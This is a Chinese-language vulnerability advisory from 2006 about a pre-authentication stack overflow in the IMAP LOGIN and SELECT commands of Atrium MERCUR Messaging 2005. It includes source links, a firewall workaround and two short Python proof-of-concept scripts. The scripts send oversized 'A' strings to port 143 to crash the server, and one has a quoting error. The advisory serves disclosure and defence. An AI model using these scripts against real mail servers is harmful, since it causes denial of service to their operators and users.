更新日期：2006-03-17
受影响系统：
Atrium Software MERCUR Messaging 2005 5.0 SP3描述：
BUGTRAQ ID: 17138
Mercur Messaging 2005是Windows NT4、2000和XP平台上的邮件服务器软件，支持POP3、IMAP4和SMTP的所有当前RFC标准。
Mercur Messaging 2005在处理IMAP命令时存在边界条件错误，远程攻击者可以向LOGIN和SELECT命令发送超长参数，触发栈溢出，导致拒绝服务。
<*来源：Tim Taylor （Tim.Taylor@gmx.ch）
链接：http://secunia.com/advisories/19267/print/
http://marc.theaimsgroup.com/?l=full-disclosure&m=114255214324135&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# pre authentifcation buffer overflow in imap command login
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login "\x41" * 275 + "\r\n")
# buffer overflow in imap commands like select and others
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login test test\r\n")
print s.recv(256)
s.send("a002 select " + "\x41" * 239 + "\r\n")
建议：
临时解决方法：
*使用防火墙过滤恶意的IMAP请求。
厂商补丁：
Atrium Software
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.atrium-software.com/index.php?content=mercur&lframe=navigation&rframe=navmercur&lang=en